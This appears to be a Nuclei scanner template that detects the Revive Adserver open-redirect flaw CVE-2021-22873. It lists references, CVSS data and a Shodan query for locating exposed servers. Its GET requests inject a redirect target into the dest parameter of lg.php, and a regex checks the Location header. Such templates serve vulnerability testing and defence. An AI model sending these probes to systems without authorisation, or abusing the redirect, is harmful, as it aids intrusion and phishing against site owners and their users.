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id : CVE-2021-22873
info :
name : Revive Adserver < 5.1.0 Open Redirect
author : pudsec
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severity : medium
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description : Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
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reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-22873
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- https://hackerone.com/reports/1081406
- https://github.com/revive-adserver/revive-adserver/issues/1068
- http://seclists.org/fulldisclosure/2021/Jan/60
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-22873
cwe-id : CWE-601
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metadata :
shodan-query : http.favicon.hash:106844876
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verified : "true"
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tags : cve,cve2021,redirect,revive
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requests :
- method : GET
path :
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- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"
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stop-at-first-match : true
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redirects : true
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max-redirects : 2
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matchers :
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- type : regex
part : header
regex :
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
